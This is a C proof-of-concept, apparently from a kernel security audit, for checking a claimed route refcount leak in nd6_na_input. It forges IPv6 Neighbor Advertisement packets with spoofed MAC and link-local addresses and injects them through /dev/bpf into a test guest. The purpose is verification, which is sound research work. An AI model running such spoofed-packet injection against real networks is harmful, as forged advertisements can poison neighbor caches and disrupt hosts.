DF-0489 / poc_df0489.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 | /* * DF-0489 PoC - NA refcount leak tester (BPF injection) * * The finding claims nd6_na_input leaks one route refcount per received NA * because nd6_lookup() acquires a reference (route.c:276 ++) but nd6_na_input * never calls rtfree(). We inject NAs via BPF and watch the route "Refs" * column (netstat -rn -W). If the finding were true, Refs would climb by 1 * per NA; if it stays flat, the leak does not exist (the finding missed * nd6.c:929 `rt->rt_refcnt--` which balances the lookup). * * Must run as root (needs /dev/bpf). This is a kernel-path verification, not a * privilege test; the *trigger* (an incoming NA) is itself network-reachable. * * Build: cc -o poc_df0489 poc_df0489.c * Run: ./poc_df0489 <count> (default 200) * then: netstat -rn -W -f inet6 (watch Refs column) */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/types.h> #include <net/if.h> #include <net/if_dl.h> #include <net/bpf.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <netinet/icmp6.h> #include <arpa/inet.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define IFNAME "vtnet0" /* guest interface MAC (vtnet0) */ static unsigned char guest_mac[6] = {0x52,0x54,0x00,0x12,0x34,0x56}; /* fake source MAC for the NA sender */ static unsigned char fake_mac[6] = {0xde,0xad,0xbe,0xef,0x00,0x01}; struct eth_hdr { unsigned char dst[6]; unsigned char src[6]; unsigned short type; } __attribute__((packed)); static uint16_t cksum16(const void *p, int len, uint32_t sum) { const uint16_t *w = p; while (len > 1) { sum += *w++; len -= 2; } if (len == 1) sum += *(const uint8_t*)w; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } static uint16_t icmp6_cksum(struct in6_addr *src, struct in6_addr *dst, void *icmp, int icmplen) { struct { struct in6_addr src; struct in6_addr dst; uint32_t len; uint8_t zero[3]; uint8_t nxt; } __attribute__((packed)) ph; ph.src = *src; ph.dst = *dst; ph.len = htonl(icmplen); ph.zero[0]=ph.zero[1]=ph.zero[2]=0; ph.nxt = IPPROTO_ICMPV6; uint32_t s = cksum16(&ph, sizeof(ph), 0); s = cksum16(icmp, icmplen, ~s & 0xffff); return s; } int main(int argc, char **argv) { int count = (argc > 1) ? atoi(argv[1]) : 200; int fd, n; char dev[] = "/dev/bpf0"; struct ifreq ifr; u_int blen; unsigned char *buf; /* Build the fake target address (link-local from fake_mac via EUI-64) */ struct in6_addr fake_tgt; memset(&fake_tgt, 0, sizeof(fake_tgt)); fake_tgt.s6_addr[0] = 0xfe; fake_tgt.s6_addr[1] = 0x80; /* EUI-64 from fake_mac: toggle U/L bit of first byte */ fake_tgt.s6_addr[8] = fake_mac[0] ^ 0x02; fake_tgt.s6_addr[9] = fake_mac[1]; fake_tgt.s6_addr[10] = fake_mac[2]; fake_tgt.s6_addr[11] = 0xff; fake_tgt.s6_addr[12] = 0xfe; fake_tgt.s6_addr[13] = fake_mac[3]; fake_tgt.s6_addr[14] = fake_mac[4]; fake_tgt.s6_addr[15] = fake_mac[5]; /* First: pre-create a neighbor cache entry for fake_tgt by sending an NS. The easiest way: just ping6 it once (creates INCOMPLETE entry). But we can also rely on nd6_na_input's nd6_lookup(create=0) returning NULL and going to freeit -- in which case no leak path is even reached. To exercise the actual leak path, we need the entry to exist. We'll try sending the NS ourselves below if needed. For now, just open BPF. */ fd = open(dev, O_RDWR); if (fd < 0) { perror("open bpf"); return 2; } strncpy(ifr.ifr_name, IFNAME, IFNAMSIZ-1); if (ioctl(fd, BIOCSETIF, &ifr) < 0) { perror("BIOCSETIF"); return 2; } /* Immediate mode so writes go out immediately */ n = 1; if (ioctl(fd, BIOCIMMEDIATE, &n) < 0) { perror("BIOCIMMEDIATE"); } if (ioctl(fd, BIOCGBLEN, &blen) < 0) { perror("BIOCGBLEN"); blen = 4096; } if (blen < 256) blen = 256; buf = malloc(blen); if (!buf) { perror("malloc"); return 2; } /* Pre-create neighbor entry: send an NS for fake_tgt (creates entry via nd6_lookup create=1 in nd6_ns_output path -- but that's OUTPUT, not input). Instead, we send an NS via BPF that looks incoming; the guest's nd6_ns_input won't create an entry for the target though. The simplest reliable way is to just ping6 the fake target from the guest, which triggers nd6_output -> nd6_lookup(create=1) -> creates the cache entry. Do that via system() before injecting NAs. */ { char cmd[128]; char tgtstr[INET6_ADDRSTRLEN]; inet_ntop(AF_INET6, &fake_tgt, tgtstr, sizeof(tgtstr)); snprintf(cmd, sizeof(cmd), "ndp -s %s%%" IFNAME " %02x:%02x:%02x:%02x:%02x:%02x 2>/dev/null " "|| ping6 -c1 -t1 %s%%" IFNAME " >/dev/null 2>&1; true", tgtstr, fake_mac[0],fake_mac[1],fake_mac[2], fake_mac[3],fake_mac[4],fake_mac[5], tgtstr); printf("creating neighbor entry: %s\n", cmd); system(cmd); } printf("Injecting %d NA packets for target ", count); { char tgtstr[INET6_ADDRSTRLEN]; inet_ntop(AF_INET6, &fake_tgt, tgtstr, sizeof(tgtstr)); printf("%s\n", tgtstr); } printf("BEFORE: run `netstat -rn -W -f inet6` and note Refs\n"); int ok = 0; for (int i = 0; i < count; i++) { struct eth_hdr *eh = (struct eth_hdr *)buf; struct ip6_hdr *ip6 = (struct ip6_hdr *)(eh + 1); struct nd_neighbor_advert *na = (struct nd_neighbor_advert *)((char*)ip6 + sizeof(*ip6)); memset(buf, 0, blen); memcpy(eh->dst, guest_mac, 6); /* to guest */ memcpy(eh->src, fake_mac, 6); /* from fake neighbor */ eh->type = htons(0x86dd); /* IPv6 */ /* src = fake link-local (from fake_mac), dst = guest link-local */ ip6->ip6_vfc = 0x60; ip6->ip6_hlim = 255; /* MUST be 255 for ND */ ip6->ip6_nxt = IPPROTO_ICMPV6; ip6->ip6_plen = htons(sizeof(*na)); /* build src addr from fake_mac */ ip6->ip6_src = fake_tgt; /* use same link-local as target */ /* dst = guest's link-local fe80::5054:ff:fe12:3456 */ memset(&ip6->ip6_dst, 0, sizeof(ip6->ip6_dst)); ip6->ip6_dst.s6_addr[0] = 0xfe; ip6->ip6_dst.s6_addr[1] = 0x80; ip6->ip6_dst.s6_addr[8] = 0x52 ^ 0x02; ip6->ip6_dst.s6_addr[9] = 0x54; ip6->ip6_dst.s6_addr[10] = 0x00; ip6->ip6_dst.s6_addr[11] = 0xff; ip6->ip6_dst.s6_addr[12] = 0xfe; ip6->ip6_dst.s6_addr[13] = 0x12; ip6->ip6_dst.s6_addr[14] = 0x34; ip6->ip6_dst.s6_addr[15] = 0x56; na->nd_na_type = ND_NEIGHBOR_ADVERT; na->nd_na_code = 0; na->nd_na_flags_reserved = ND_NA_FLAG_SOLICITED | ND_NA_FLAG_OVERRIDE; na->nd_na_target = fake_tgt; na->nd_na_cksum = 0; int icmplen = sizeof(*na); na->nd_na_cksum = icmp6_cksum(&ip6->ip6_src, &ip6->ip6_dst, na, icmplen); int total = sizeof(*eh) + sizeof(*ip6) + icmplen; ssize_t w = write(fd, buf, total); if (w > 0) ok++; if (i == 0 || i == count-1) { printf(" NA %d: wrote %zd bytes (total %d)\n", i, w, total); } } printf("Injected %d/%d NAs.\n", ok, count); printf("AFTER: run `netstat -rn -W -f inet6` and compare Refs\n"); close(fd); free(buf); return 0; } |